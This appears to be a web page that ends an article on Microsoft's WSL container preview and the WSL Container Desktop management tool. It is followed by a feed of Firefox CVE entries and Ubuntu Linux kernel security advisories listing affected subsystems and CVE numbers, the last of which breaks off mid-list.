Microsoft is doing something revolutionary here. It’s taking the cloud-native, service-driven model and bringing it into Windows and using it to bridge decades of divergent development. You no longer have to rewrite a service that works on Linux to run in Windows; all you need to do is containerize the service and launch it from the WSL container API. When you’re done, the API will tidy up after you, shutting down the container and reclaiming the memory it used.

It’s important to remember that this is only the first public preview of a rapidly developing platform. There are many opportunities here to, say, build on the syscall translation layer developed for WSL1 to produce a native Windows-to-Linux application integration stack that removes the overhead of using web-based service calls. It will be interesting to see what develops, but this first release is very interesting indeed.

Manage Linux containers from Windows

If you want a Docker Desktop-like experience for building and testing containers on Windows developer hardware, you may not have long to wait. WSL container’s underlying API is already being used to build tools that manage and monitor containers for you. One such tool is the WSL Container Desktop, under development on GitHub. While there aren’t any release builds yet, it’s easy enough to compile and get running by cloning the source repository and building using the .NET CLI. You do need to have the Windows App SDK installed, and some features require access to the Azure CLI.

WSL Container Desktop is built in C#, with a WinUI front end. It’s currently only verified for use on x64, though I was able to compile and run it on an Arm64 PC and use it to test and run containers. Once running, it gives you a well-designed front end for your WSL-hosted containers, showing what’s running and what resources they are using. You can link WSL Container Desktop to container registries, like Docker’s and Azure’s, so you can quickly pull base containers and then use the WSL container environment to add your own code and customizations.

Your main interaction point is the WSL Container Desktop dashboard, which shows what containers are running and their current resource usage. Elements are displayed in cards, taking a cue from Windows’ own user interface and especially from its Settings app. From the dashboard, you can drill down into the available containers, with quick start, stop, and reload options, as well as an extended memory that includes the ability to open a web browser to the appropriate port. I tested this with a container that included an entire KDE webtop, giving me a Linux distro running in a container in my browser.

Other options include a details view that displays current logs and provides tools for inspecting the state of a container. This is the type of tool that comes in useful when debugging and testing container applications, as it can provide insights that the WSL container CLI doesn’t offer. Another option helps you clean up after you’ve downloaded an image and don’t need it anymore, with analytics that show the largest images and images you haven’t used for some time. On top of its tooling for working with WSL containers, WSL Container Desktop provides a basic settings tool that helps you configure its look and feel, as well as how it integrates with Windows.

Run Kubernetes inside Windows for cloud-native development

One of the more useful features of WSL Container Desktop is the ability to quickly stand up a K3s Kubernetes instance in WSL that can be used to host WSL containers, providing a local environment to build and test cloud-native applications wherever you might be. The K3s tooling offers a similar experience to the Kubernetes project’s own Headlamp UI, making it easy to go between your development environment and a production Kubernetes cluster.

It’s fair to describe WSL container as one of those Windows features you didn’t think you needed, but now it’s here you can’t live without it. WSL container simplifies building a container development tool chain in Windows, and at the same time allows you to think about a new generation of hybrid applications that take advantage of decades of development in both Windows and Linux.

The result is something that was unimaginable a few years ago: dropping a Linux container into the middle of a Windows application and treating it as another local service. As the WSL container platform evolves, you should expect to see more ways of bringing Linux and Windows together, using containers to deliver a hybrid platform that gives us the best of both worlds at long last.

CVE-2026-16360 | Mozilla Firefox 115.37/140.12/152 memory corruption (Nessus ID 329091)

Thu, 23 Jul 2026 10:58:00 +0200

A vulnerability classified as critical was found in Mozilla Firefox 115.37/140.12/152. This vulnerability affects unknown code. The manipulation results in memory corruption. This vulnerability is identified as CVE-2026-16360. The attack can be executed remotely. There is not any exploit available. Upgrading the affected component is advised.

CVE-2026-16412 | Mozilla Firefox up to 140.12/152 memory memory corruption (Nessus ID 329091)

Thu, 23 Jul 2026 10:57:59 +0200

A vulnerability was found in Mozilla Firefox up to 140.12/152. It has been classified as critical. This impacts an unknown function of the component memory. This manipulation causes memory corruption. This vulnerability is tracked as CVE-2026-16412. The attack is possible to be carried out remotely. No exploit exists. Upgrading the affected component is recommended.

USN-8597-1: Linux kernel (IBM) vulnerabilities

Thu, 23 Jul 2026 10:46:09 +0200

Maxim Suhanov discovered that the NTFS file system implementation in the Linux kernel did not properly validate file name length in certain situations, leading to an out-of-bounds read. An attacker could use this to construct a malicious NTFS image that, when mounted and operated on, could expose sensitive information (kernel memory). (CVE-2023-45896) It was discovered that some AMD processors did not properly clear data in the floating point divider unit during speculative execution. A local attacker could use this to expose sensitive information. (CVE-2025-54505) It was discovered that some AMD Zen 2 processors did not properly isolate shared resources in the operation cache. A local attacker could possibly use this issue to corrupt instructions executed at a higher privilege level, resulting in privilege escalation. (CVE-2025-54518) Several security issues were discovered in the Linux kernel. An attacker could possibly use these to compromise the system. This update corrects flaws in the following subsystems: - ARM64 architecture; - PowerPC architecture; - S390 architecture; - x86 architecture; - Cryptographic API; - ACPI drivers; - ATM drivers; - Power management core; - DRBD Distributed Replicated Block Device drivers; - RNBD block device driver; - Bluetooth drivers; - Character device driver; - TPM device driver; - Clocksource drivers; - Data acquisition framework and drivers; - CPU idle management framework; - Hardware crypto device drivers; - DMA engine subsystem; - EFI core; - GPIO subsystem; - GPU drivers; - HID subsystem; - Hardware monitoring drivers; - I2C subsystem; - IIO ADC drivers; - IIO subsystem; - InfiniBand drivers; - IOMMU subsystem; - Mailbox framework; - Multiple devices driver; - Media drivers; - MediaTek SMI driver; - IBM Advanced System Management driver; - MMC subsystem; - MTD block device drivers; - Network drivers; - Ethernet bonding driver; - Mellanox network drivers; - Microsoft Azure Network Adapter (MANA) driver; - STMicroelectronics network drivers; - Near Field Communication (NFC) drivers; - NTB driver; - NVME drivers; - PCI subsystem; - x86 platform drivers; - Broadcom BCM2835 power domain driver; - Power supply drivers; - RapidIO drivers; - Remote Processor subsystem; - RPMSG subsystem; - SCSI subsystem; - Freescale SoC drivers; - Texas Instruments SoC drivers; - SPI subsystem; - Greybus lights staging drivers; - Media staging drivers; - Realtek RTL8723BS SDIO drivers; - SM750 framebuffer staging driver; - TCM subsystem; - TTY drivers; - UFS subsystem; - Cadence USB3 driver; - USB Device Class drivers; - ULPI bus; - USB core drivers; - DesignWare USB2 driver; - USB Gadget drivers; - USB Host Controller drivers; - Mustek MDC800 USB digital camera driver; - USB YUREX driver; - Framebuffer layer; - File systems infrastructure; - BTRFS file system; - Ceph distributed file system; - EROFS file system; - Ext4 file system; - F2FS file system; - FAT file system; - FUSE (File system in Userspace); - GFS2 file system; - HFS+ file system; - JFS file system; - Network file system (NFS) server daemon; - NILFS2 file system; - File system notification infrastructure; - NTFS3 file system; - OCFS2 file system; - Proc file system; - Pstore file system; - SMB network file system; - SquashFS file system; - XFS file system; - Audit subsystem; - RAS (Reliability, Availability, Serviceability) subsystem; - CPU frequency scaling framework; - Memory Management; - KVM subsystem; - Memory management; - Network traffic control; - Netfilter; - IP tunnels definitions; - Tracing infrastructure; - User-space API (UAPI); - io_uring subsystem; - BPF subsystem; - Control group (cgroup); - Kernel fork() syscall; - Kernel futex primitives; - Kernel kexec() syscall; - Kernel module support; - Scheduler infrastructure; - Cryptographic library; - Asynchronous Transfer Mode (ATM) subsystem; - B.A.T.M.A.N. meshing protocol; - Bluetooth subsystem; - Ethernet bridge; - CAIF protocol; - CAN network layer; - Ceph Core library; - Networking core; - IPv4 networking; - IPv6 networking; - XFRM subsystem; - L2TP protocol; - MAC80211 subsystem; - Management Component Transport Protocol (MCTP); - Multipath TCP; - NCSI (Network Controller Sideband Interface) driver; - NFC subsystem; - Open vSwitch; - Qualcomm IPC Router (QRTR); - RDS protocol; - RF switch subsystem; - Rose network layer; - RxRPC session sockets; - SCTP protocol; - SMC sockets; - Stream parser; - Sun RPC protocol; - TIPC protocol; - Unix domain sockets; - VMware vSockets driver; - Wireless networking; - X.25 network layer; - eXpress Data Path; - AppArmor security module; - ALSA framework; - FireWire sound drivers; - Creative Sound Blaster X-Fi driver; - SoC audio core drivers; - USB sound devices; (CVE-2022-49803, CVE-2022-49961, CVE-2022-50073, CVE-2022-50116, CVE-2023-52682, CVE-2023-52737, CVE-2023-53545, CVE-2023-53629, CVE-2024-27389, CVE-2024-35865, CVE-2024-36898, CVE-2024-36922, CVE-2024-41079, CVE-2024-46715, CVE-2024-46770, CVE-2024-47809, CVE-2024-50012, CVE-2024-53221, CVE-2024-56557, CVE-2024-56584, CVE-2024-56657, CVE-2024-56719, CVE-2024-56727, CVE-2025-21712, CVE-2025-22107, CVE-2025-23141, CVE-2025-38006, CVE-2025-38105, CVE-2025-38192, CVE-2025-38562, CVE-2025-38626, CVE-2025-38659, CVE-2025-38710, CVE-2025-39748, CVE-2025-39764, CVE-2025-40005, CVE-2025-40016, CVE-2025-40103, CVE-2025-40323, CVE-2025-68206, CVE-2025-68239, CVE-2025-68256, CVE-2025-68307, CVE-2025-68358, CVE-2025-71150, CVE-2025-71161, CVE-2025-71221, CVE-2025-71232, CVE-2025-71233, CVE-2025-71235, CVE-2025-71236, CVE-2025-71237, CVE-2025-71238, CVE-2025-71239, CVE-2025-71265, CVE-2025-71266, CVE-2025-71267, CVE-2025-71274, CVE-2025-71287, CVE-2025-71292, CVE-2026-23031, CVE-2026-23066, CVE-2026-23100, CVE-2026-23113, CVE-2026-23141, CVE-2026-23157, CVE-2026-23169, CVE-2026-23204, CVE-2026-23220, CVE-2026-23222, CVE-2026-23227, CVE-2026-23228, CVE-2026-23229, CVE-2026-23235, CVE-2026-23236, CVE-2026-23237, CVE-2026-23238, CVE-2026-23241, CVE-2026-23242, CVE-2026-23243, CVE-2026-23253, CVE-2026-23266, CVE-2026-23270, CVE-2026-23277, CVE-2026-23279, CVE-2026-23281, CVE-2026-23286, CVE-2026-23289, CVE-2026-23290, CVE-2026-23291, CVE-2026-23293, CVE-2026-23296, CVE-2026-23298, CVE-2026-23300, CVE-2026-23303, CVE-2026-23304, CVE-2026-23307, CVE-2026-23312, CVE-2026-23318, CVE-2026-23324, CVE-2026-23335, CVE-2026-23339, CVE-2026-23340, CVE-2026-23352, CVE-2026-23356, CVE-2026-23357, CVE-2026-23362, CVE-2026-23365, CVE-2026-23367, CVE-2026-23368, CVE-2026-23370, CVE-2026-23372, CVE-2026-23379, CVE-2026-23381, CVE-2026-23382, CVE-2026-23388, CVE-2026-23391, CVE-2026-23392, CVE-2026-23395, CVE-2026-23396, CVE-2026-23397, CVE-2026-23398, CVE-2026-23399, CVE-2026-23401, CVE-2026-23420, CVE-2026-23434, CVE-2026-23438, CVE-2026-23439, CVE-2026-23442, CVE-2026-23446, CVE-2026-23452, CVE-2026-23454, CVE-2026-23456, CVE-2026-23457, CVE-2026-23458, CVE-2026-23460, CVE-2026-23462, CVE-2026-23463, CVE-2026-23474, CVE-2026-31393, CVE-2026-31400, CVE-2026-31405, CVE-2026-31407, CVE-2026-31408, CVE-2026-31409, CVE-2026-31411, CVE-2026-31415, CVE-2026-31416, CVE-2026-31417, CVE-2026-31421, CVE-2026-31422, CVE-2026-31423, CVE-2026-31424, CVE-2026-31425, CVE-2026-31427, CVE-2026-31428, CVE-2026-31433, CVE-2026-31447, CVE-2026-31450, CVE-2026-31452, CVE-2026-31454, CVE-2026-31466, CVE-2026-31467, CVE-2026-31469, CVE-2026-31473, CVE-2026-31476, CVE-2026-31480, CVE-2026-31483, CVE-2026-31494, CVE-2026-31495, CVE-2026-31497, CVE-2026-31498, CVE-2026-31507, CVE-2026-31509, CVE-2026-31510, CVE-2026-31512, CVE-2026-31515, CVE-2026-31518, CVE-2026-31521, CVE-2026-31522, CVE-2026-31523, CVE-2026-31524, CVE-2026-31532, CVE-2026-31540, CVE-2026-31545, CVE-2026-31546, CVE-2026-31549, CVE-2026-31550, CVE-2026-31551, CVE-2026-31555, CVE-2026-31565, CVE-2026-31577, CVE-2026-31578, CVE-2026-31581, CVE-2026-31585, CVE-2026-31586, CVE-2026-31588, CVE-2026-31590, CVE-2026-31594, CVE-2026-31596, CVE-2026-31597, CVE-2026-31598, CVE-2026-31599, CVE-2026-31602, CVE-2026-31603, CVE-2026-31605, CVE-2026-31615, CVE-2026-31616, CVE-2026-31617, CVE-2026-31618, CVE-2026-31619, CVE-2026-31622, CVE-2026-31623, CVE-2026-31624, CVE-2026-31625, CVE-2026-31626, CVE-2026-31627, CVE-2026-31628, CVE-2026-31629, CVE-2026-31630, CVE-2026-31634, CVE-2026-31642, CVE-2026-31651, CVE-2026-31656, CVE-2026-31658, CVE-2026-31660, CVE-2026-31661, CVE-2026-31662, CVE-2026-31664, CVE-2026-31665, CVE-2026-31670, CVE-2026-31671, CVE-2026-31672, CVE-2026-31673, CVE-2026-31674, CVE-2026-31676, CVE-2026-31679, CVE-2026-31680, CVE-2026-31681, CVE-2026-31683, CVE-2026-31684, CVE-2026-31687, CVE-2026-31694, CVE-2026-31695, CVE-2026-31696, CVE-2026-31697, CVE-2026-31698, CVE-2026-31699, CVE-2026-31701, CVE-2026-31716, CVE-2026-31720, CVE-2026-31721, CVE-2026-31726, CVE-2026-31728, CVE-2026-31737, CVE-2026-31738, CVE-2026-31749, CVE-2026-31751, CVE-2026-31752, CVE-2026-31754, CVE-2026-31755, CVE-2026-31756, CVE-2026-31758, CVE-2026-31759, CVE-2026-31762, CVE-2026-31763, CVE-2026-31770, CVE-2026-31773, CVE-2026-31778, CVE-2026-31780, CVE-2026-31781, CVE-2026-43014, CVE-2026-43024, CVE-2026-43026, CVE-2026-43028, CVE-2026-43030, CVE-2026-43032, CVE-2026-43035, CVE-2026-43040, CVE-2026-43041, CVE-2026-43043, CVE-2026-43046, CVE-2026-43047, CVE-2026-43050, CVE-2026-43051, CVE-2026-43052, CVE-2026-43054, CVE-2026-43058, CVE-2026-43060, CVE-2026-43061, CVE-2026-43062, CVE-2026-43065, CVE-2026-43066, CVE-2026-43068, CVE-2026-43069, CVE-2026-43074, CVE-2026-43075, CVE-2026-43076, CVE-2026-43079, CVE-2026-43080, CVE-2026-43085, CVE-2026-43089, CVE-2026-43093, CVE-2026-43098, CVE-2026-43099, CVE-2026-43103, CVE-2026-43104, CVE-2026-43105, CVE-2026-43110, CVE-2026-43111, CVE-2026-43113, CVE-2026-43123, CVE-2026-43124, CVE-2026-43130, CVE-2026-43132, CVE-2026-43134, CVE-2026-43135, CVE-2026-43136, CVE-2026-43139, CVE-2026-43140, CVE-2026-43141, CVE-2026-43145, CVE-2026-43147, CVE-2026-43148, CVE-2026-43149, CVE-2026-43152, CVE-2026-43156, CVE-2026-43158, CVE-2026-43159, CVE-2026-43163, CVE-2026-43168, CVE-2026-43171, CVE-2026-43182, CVE-2026-43183, CVE-2026-43184, CVE-2026-43187, CVE-2026-43190, CVE-2026-43194, CVE-2026-43196, CVE-2026-43200, CVE-2026-43202, CVE-2026-43203, CVE-2026-43206, CVE-2026-43209, CVE-2026-43218, CVE-2026-43223, CVE-2026-43225, CVE-2026-43226, CVE-2026-43227, CVE-2026-43230, CVE-2026-43231, CVE-2026-43233, CVE-2026-43236, CVE-2026-43241, CVE-2026-43242, CVE-2026-43246, CVE-2026-43251, CVE-2026-43255, CVE-2026-43257, CVE-2026-43261, CVE-2026-43262, CVE-2026-43264, CVE-2026-43266, CVE-2026-43268, CVE-2026-43269, CVE-2026-43270, CVE-2026-43273, CVE-2026-43275, CVE-2026-43277, CVE-2026-43279, CVE-2026-43281, CVE-2026-43287, CVE-2026-43289, CVE-2026-43295, CVE-2026-43296, CVE-2026-43302, CVE-2026-43312, CVE-2026-43313, CVE-2026-43314, CVE-2026-43315, CVE-2026-43316, CVE-2026-43327, CVE-2026-43329, CVE-2026-43333, CVE-2026-43334, CVE-2026-43336, CVE-2026-43339, CVE-2026-43340, CVE-2026-43342, CVE-2026-43343, CVE-2026-43357, CVE-2026-43363, CVE-2026-43365, CVE-2026-43370, CVE-2026-43373, CVE-2026-43381, CVE-2026-43382, CVE-2026-43386, CVE-2026-43387, CVE-2026-43405, CVE-2026-43411, CVE-2026-43420, CVE-2026-43425, CVE-2026-43427, CVE-2026-43428, CVE-2026-43429, CVE-2026-43430, CVE-2026-43432, CVE-2026-43439, CVE-2026-43445, CVE-2026-43449, CVE-2026-43450, CVE-2026-43451, CVE-2026-43452, CVE-2026-43453, CVE-2026-43459, CVE-2026-43466, CVE-2026-43469, CVE-2026-43472, CVE-2026-43473, CVE-2026-43475, CVE-2026-43476, CVE-2026-43496, CVE-2026-43502, CVE-2026-45834, CVE-2026-45835, CVE-2026-45836, CVE-2026-45839, CVE-2026-45840, CVE-2026-45842, CVE-2026-45843, CVE-2026-45846, CVE-2026-45847, CVE-2026-45848, CVE-2026-45852, CVE-2026-45856, CVE-2026-45857, CVE-2026-45860, CVE-2026-45864, CVE-2026-45873, CVE-2026-45890, CVE-2026-45891, CVE-2026-45899, CVE-2026-45902, CVE-2026-45904, CVE-2026-45912, CVE-2026-45915, CVE-2026-45916, CVE-2026-45919, CVE-2026-45920, CVE-2026-45924, CVE-2026-45935, CVE-2026-45936, CVE-2026-45941, CVE-2026-45946, CVE-2026-45948, CVE-2026-45954, CVE-2026-45956, CVE-2026-45958, CVE-2026-45960, CVE-2026-45964, CVE-2026-45965, CVE-2026-45968, CVE-2026-45969, CVE-2026-45970, CVE-2026-45974, CVE-2026-45978, CVE-2026-45983, CVE-2026-45984, CVE-2026-45985, CVE-2026-45986, CVE-2026-45987, CVE-2026-45994, CVE-2026-46002, CVE-2026-46004, CVE-2026-46006, CVE-2026-46009, CVE-2026-46015, CVE-2026-46018, CVE-2026-46019, CVE-2026-46022, CVE-2026-46023, CVE-2026-46024, CVE-2026-46027, CVE-2026-46033, CVE-2026-46037, CVE-2026-46040, CVE-2026-46044, CVE-2026-46046, CVE-2026-46047, CVE-2026-46049, CVE-2026-46050, CVE-2026-46051, CVE-2026-46053, CVE-2026-46062, CVE-2026-46064, CVE-2026-46070, CVE-2026-46072, CVE-2026-46077, CVE-2026-46080, CVE-2026-46082, CVE-2026-46088, CVE-2026-46098, CVE-2026-46099, CVE-2026-46101, CVE-2026-46102, CVE-2026-46107, CVE-2026-46108, CVE-2026-46112, CVE-2026-46120, CVE-2026-46122, CVE-2026-46123, CVE-2026-46124, CVE-2026-46127, CVE-2026-46128, CVE-2026-46132, CVE-2026-46133, CVE-2026-46137, CVE-2026-46146, CVE-2026-46149, CVE-2026-46150, CVE-2026-46151, CVE-2026-46161, CVE-2026-46163, CVE-2026-46167, CVE-2026-46168, CVE-2026-46172, CVE-2026-46174, CVE-2026-46177, CVE-2026-46178, CVE-2026-46184, CVE-2026-46186, CVE-2026-46187, CVE-2026-46189, CVE-2026-46197, CVE-2026-46198, CVE-2026-46205, CVE-2026-46206, CVE-2026-46209, CVE-2026-46212, CVE-2026-46214, CVE-2026-46219, CVE-2026-46220, CVE-2026-46227, CVE-2026-46230, CVE-2026-46231, CVE-2026-46233, CVE-2026-46234, CVE-2026-46236, CVE-2026-46238, CVE-2026-46259, CVE-2026-46273, CVE-2026-46274, CVE-2026-46275, CVE-2026-46303, CVE-2026-46304, CVE-2026-46319)

USN-8575-2: Linux kernel vulnerabilities

Thu, 23 Jul 2026 10:31:09 +0200

USN-8576-2: Linux kernel (NVIDIA Tegra) vulnerabilities

Thu, 23 Jul 2026 10:31:00 +0200

Maxim Suhanov discovered that the NTFS file system implementation in the Linux kernel did not properly validate file name length in certain situations, leading to an out-of-bounds read. An attacker could use this to construct a malicious NTFS image that, when mounted and operated on, could expose sensitive information (kernel memory). (CVE-2023-45896) It was discovered that some AMD processors did not properly clear data in the floating point divider unit during speculative execution. A local attacker could use this to expose sensitive information. (CVE-2025-54505) It was discovered that some AMD Zen 2 processors did not properly isolate shared resources in the operation cache. A local attacker could possibly use this issue to corrupt instructions executed at a higher privilege level, resulting in privilege escalation. (CVE-2025-54518) Several security issues were discovered in the Linux kernel. An attacker could possibly use these to compromise the system. This update corrects flaws in the following subsystems: - ARM32 architecture; - ARM64 architecture; - MIPS architecture; - PowerPC architecture; - S390 architecture; - x86 architecture; - Block layer subsystem; - Cryptographic API; - ACPI drivers; - ATM drivers; - Drivers core; - Power management core; - DRBD Distributed Replicated Block Device drivers; - RNBD block device driver; - Bluetooth drivers; - Bus devices; - Character device driver; - TPM device driver; - Clocksource drivers; - Data acquisition framework and drivers; - CPU frequency scaling framework; - CPU idle management framework; - Hardware crypto device drivers; - DMA engine subsystem; - Arm Firmware Framework for ARMv8-A(FFA); - EFI core; - GPIO subsystem; - GPU drivers; - HID subsystem; - Hardware monitoring drivers; - I2C subsystem; - IIO subsystem; - IIO ADC drivers; - InfiniBand drivers; - Input Device (Miscellaneous) drivers; - IOMMU subsystem; - Mailbox framework; - Multiple devices driver; - Media drivers; - MediaTek SMI driver; - NVIDIA Tegra memory controller driver; - Multifunction device drivers; - IBM Advanced System Management driver; - MMC subsystem; - MTD block device drivers; - Network drivers; - Ethernet bonding driver; - Mellanox network drivers; - Microsoft Azure Network Adapter (MANA) driver; - STMicroelectronics network drivers; - MediaTek network drivers; - Near Field Communication (NFC) drivers; - NTB driver; - NVDIMM (Non-Volatile Memory Device) drivers; - NVME drivers; - PCI subsystem; - Pin controllers subsystem; - x86 platform drivers; - Broadcom BCM2835 power domain driver; - Power supply drivers; - RapidIO drivers; - Remote Processor subsystem; - RPMSG subsystem; - SCSI subsystem; - Freescale SoC drivers; - Texas Instruments SoC drivers; - SPI subsystem; - Greybus lights staging drivers; - Media staging drivers; - Realtek RTL8723BS SDIO drivers; - SM750 framebuffer staging driver; - TCM subsystem; - TTY drivers; - UFS subsystem; - Cadence USB3 driver; - USB Device Class drivers; - ULPI bus; - USB core drivers; - DesignWare USB2 driver; - USB Gadget drivers; - USB Host Controller drivers; - Mustek MDC800 USB digital camera driver; - USB YUREX driver; - Renesas USBHS Controller drivers; - Framebuffer layer; - Xen hypervisor drivers; - File systems infrastructure; - BTRFS file system; - Ceph distributed file system; - EROFS file system; - Ext4 file system; - F2FS file system; - FAT file system; - FUSE (File system in Userspace); - GFS2 file system; - HFS+ file system; - JFS file system; - Network file system (NFS) server daemon; - NILFS2 file system; - File system notification infrastructure; - NTFS3 file system; - OCFS2 file system; - Proc file system; - Pstore file system; - Diskquota system; - SMB network file system; - SquashFS file system; - UDF file system; - XFS file system; - Audit subsystem; - RAS (Reliability, Availability, Serviceability) subsystem; - Memory Management; - KVM subsystem; - Memory management; - PPP protocol drivers and compressors; - Linux Security Modules (LSM) Framework; - Network traffic control; - Bluetooth subsystem; - MAC80211 subsystem; - Netfilter; - IP tunnels definitions; - Tracing infrastructure; - User-space API (UAPI); - io_uring subsystem; - BPF subsystem; - Control group (cgroup); - Kernel fork() syscall; - Kernel futex primitives; - Kernel kexec() syscall; - Kernel module support; - Scheduler infrastructure; - Cryptographic library; - KASAN memory debugging framework; - Asynchronous Transfer Mode (ATM) subsystem; - B.A.T.M.A.N. meshing protocol; - Ethernet bridge; - CAIF protocol; - CAN network layer; - Ceph Core library; - Networking core; - Distributed Switch Architecture; - IPv4 networking; - IPv6 networking; - XFRM subsystem; - L2TP protocol; - Management Component Transport Protocol (MCTP); - Multipath TCP; - NCSI (Network Controller Sideband Interface) driver; - NFC subsystem; - Open vSwitch; - Phonet protocol; - Qualcomm IPC Router (QRTR); - RDS protocol; - RF switch subsystem; - Rose network layer; - RxRPC session sockets; - SCTP protocol; - SMC sockets; - Stream parser; - Sun RPC protocol; - TIPC protocol; - TLS protocol; - Unix domain sockets; - VMware vSockets driver; - Wireless networking; - X.25 network layer; - eXpress Data Path; - AppArmor security module; - Simplified Mandatory Access Control Kernel framework; - ALSA framework; - FireWire sound drivers; - HD-audio driver; - AudioScience HPI driver; - Creative Sound Blaster X-Fi driver; - AMD SoC Alsa drivers; - SoC audio core drivers; - STI ASoC drivers; - USB sound devices; (CVE-2022-49803, CVE-2022-49961, CVE-2022-50073, CVE-2022-50116, CVE-2022-50552, CVE-2023-52682, CVE-2023-52737, CVE-2023-53545, CVE-2023-53596, CVE-2023-53629, CVE-2024-27389, CVE-2024-35865, CVE-2024-36898, CVE-2024-36922, CVE-2024-41079, CVE-2024-46715, CVE-2024-46770, CVE-2024-47809, CVE-2024-50012, CVE-2024-53221, CVE-2024-56557, CVE-2024-56584, CVE-2024-56657, CVE-2024-56719, CVE-2024-56727, CVE-2025-21712, CVE-2025-21739, CVE-2025-21863, CVE-2025-22107, CVE-2025-23141, CVE-2025-37786, CVE-2025-38006, CVE-2025-38105, CVE-2025-38192, CVE-2025-38250, CVE-2025-38562, CVE-2025-38626, CVE-2025-38659, CVE-2025-38710, CVE-2025-39748, CVE-2025-39764, CVE-2025-40005, CVE-2025-40016, CVE-2025-40103, CVE-2025-40323, CVE-2025-68206, CVE-2025-68239, CVE-2025-68256, CVE-2025-68307, CVE-2025-68358, CVE-2025-71150, CVE-2025-71161, CVE-2025-71221, CVE-2025-71232, CVE-2025-71235, CVE-2025-71236, CVE-2025-71237, CVE-2025-71238, CVE-2025-71239, CVE-2025-71265, CVE-2025-71266, CVE-2025-71267, CVE-2025-71274, CVE-2025-71287, CVE-2025-71292, CVE-2025-71304, CVE-2026-23031, CVE-2026-23066, CVE-2026-23100, CVE-2026-23113, CVE-2026-23141, CVE-2026-23157, CVE-2026-23169, CVE-2026-23204, CVE-2026-23220, CVE-2026-23221, CVE-2026-23222, CVE-2026-23227, CVE-2026-23228, CVE-2026-23229, CVE-2026-23234, CVE-2026-23235, CVE-2026-23236, CVE-2026-23237, CVE-2026-23238, CVE-2026-23241, CVE-2026-23242, CVE-2026-23243, CVE-2026-23253, CVE-2026-23266, CVE-2026-23270, CVE-2026-23277, CVE-2026-23279, CVE-2026-23281, CVE-2026-23286, CVE-2026-23289, CVE-2026-23290, CVE-2026-23291, CVE-2026-23293, CVE-2026-23296, CVE-2026-23298, CVE-2026-23300, CVE-2026-23303, CVE-2026-23304, CVE-2026-23307, CVE-2026-23312, CVE-2026-23318, CVE-2026-23324, CVE-2026-23335, CVE-2026-23336, CVE-2026-23339, CVE-2026-23340, CVE-2026-23352, CVE-2026-23356, CVE-2026-23357, CVE-2026-23359, CVE-2026-23362, CVE-2026-23365, CVE-2026-23367, CVE-2026-23368, CVE-2026-23370, CVE-2026-23372, CVE-2026-23379, CVE-2026-23381, CVE-2026-23382, CVE-2026-23388, CVE-2026-23391, CVE-2026-23392, CVE-2026-23395, CVE-2026-23396, CVE-2026-23397, CVE-2026-23398, CVE-2026-23399, CVE-2026-23401, CVE-2026-23420, CVE-2026-23434, CVE-2026-23438, CVE-2026-23439, CVE-2026-23442, CVE-2026-23444, CVE-2026-23446, CVE-2026-23452, CVE-2026-23454, CVE-2026-23456, CVE-2026-23457, CVE-2026-23458, CVE-2026-23460, CVE-2026-23462, CVE-2026-23463, CVE-2026-23474, CVE-2026-31393, CVE-2026-31396, CVE-2026-31399, CVE-2026-31400, CVE-2026-31405, CVE-2026-31407, CVE-2026-31408, CVE-2026-31409, CVE-2026-31411, CVE-2026-31415, CVE-2026-31416, CVE-2026-31417, CVE-2026-31421, CVE-2026-31422, CVE-2026-31423, CVE-2026-31424, CVE-2026-31425, CVE-2026-31427, CVE-2026-31428, CVE-2026-31433, CVE-2026-31446, CVE-2026-31447, CVE-2026-31450, CVE-2026-31452, CVE-2026-31454, CVE-2026-31455, CVE-2026-31464, CVE-2026-31466, CVE-2026-31467, CVE-2026-31469, CVE-2026-31473, CVE-2026-31476, CVE-2026-31480, CVE-2026-31483, CVE-2026-31485, CVE-2026-31489, CVE-2026-31494, CVE-2026-31495, CVE-2026-31497, CVE-2026-31498, CVE-2026-31507, CVE-2026-31508, CVE-2026-31509, CVE-2026-31510, CVE-2026-31512, CVE-2026-31515, CVE-2026-31518, CVE-2026-31521, CVE-2026-31522, CVE-2026-31523, CVE-2026-31524, CVE-2026-31532, CVE-2026-31540, CVE-2026-31545, CVE-2026-31546, CVE-2026-31549, CVE-2026-31550, CVE-2026-31551, CVE-2026-31552, CVE-2026-31555, CVE-2026-31565, CVE-2026-31570, CVE-2026-31576, CVE-2026-31577, CVE-2026-31578, CVE-2026-31580, CVE-2026-31581, CVE-2026-31583, CVE-2026-31585, CVE-2026-31586, CVE-2026-31588, CVE-2026-31590, CVE-2026-31594, CVE-2026-31596, CVE-2026-31597, CVE-2026-31598, CVE-2026-31599, CVE-2026-31602, CVE-2026-31603, CVE-2026-31605, CVE-2026-31615, CVE-2026-31616, CVE-2026-31617, CVE-2026-31618, CVE-2026-31619, CVE-2026-31622, CVE-2026-31623, CVE-2026-31624, CVE-2026-31625, CVE-2026-31626, CVE-2026-31627, CVE-2026-31628, CVE-2026-31629, CVE-2026-31630, CVE-2026-31634, CVE-2026-31642, CVE-2026-31651, CVE-2026-31656, CVE-2026-31658, CVE-2026-31660, CVE-2026-31661, CVE-2026-31662, CVE-2026-31664, CVE-2026-31665, CVE-2026-31667, CVE-2026-31670, CVE-2026-31671, CVE-2026-31672, CVE-2026-31673, CVE-2026-31674, CVE-2026-31676, CVE-2026-31679, CVE-2026-31680, CVE-2026-31681, CVE-2026-31683, CVE-2026-31684, CVE-2026-31686, CVE-2026-31687, CVE-2026-31694, CVE-2026-31695, CVE-2026-31696, CVE-2026-31697, CVE-2026-31698, CVE-2026-31699, CVE-2026-31701, CVE-2026-31716, CVE-2026-31720, CVE-2026-31721, CVE-2026-31726, CVE-2026-31728, CVE-2026-31737, CVE-2026-31738, CVE-2026-31747, CVE-2026-31748, CVE-2026-31749, CVE-2026-31751, CVE-2026-31752, CVE-2026-31754, CVE-2026-31755, CVE-2026-31756, CVE-2026-31758, CVE-2026-31759, CVE-2026-31761, CVE-2026-31762, CVE-2026-31763, CVE-2026-31770, CVE-2026-31773, CVE-2026-31778, CVE-2026-31780, CVE-2026-31781, CVE-2026-31788, CVE-2026-43014, CVE-2026-43015, CVE-2026-43020, CVE-2026-43024, CVE-2026-43026, CVE-2026-43027, CVE-2026-43028, CVE-2026-43030, CVE-2026-43032, CVE-2026-43035, CVE-2026-43040, CVE-2026-43041, CVE-2026-43043, CVE-2026-43046, CVE-2026-43047, CVE-2026-43050, CVE-2026-43051, CVE-2026-43052, CVE-2026-43054, CVE-2026-43058, CVE-2026-43060, CVE-2026-43061, CVE-2026-43062, CVE-2026-43065, CVE-2026-43066, CVE-2026-43068, CVE-2026-43069, CVE-2026-43074, CVE-2026-43075, CVE-2026-43076, CVE-2026-43079, CVE-2026-43080, CVE-2026-43085, 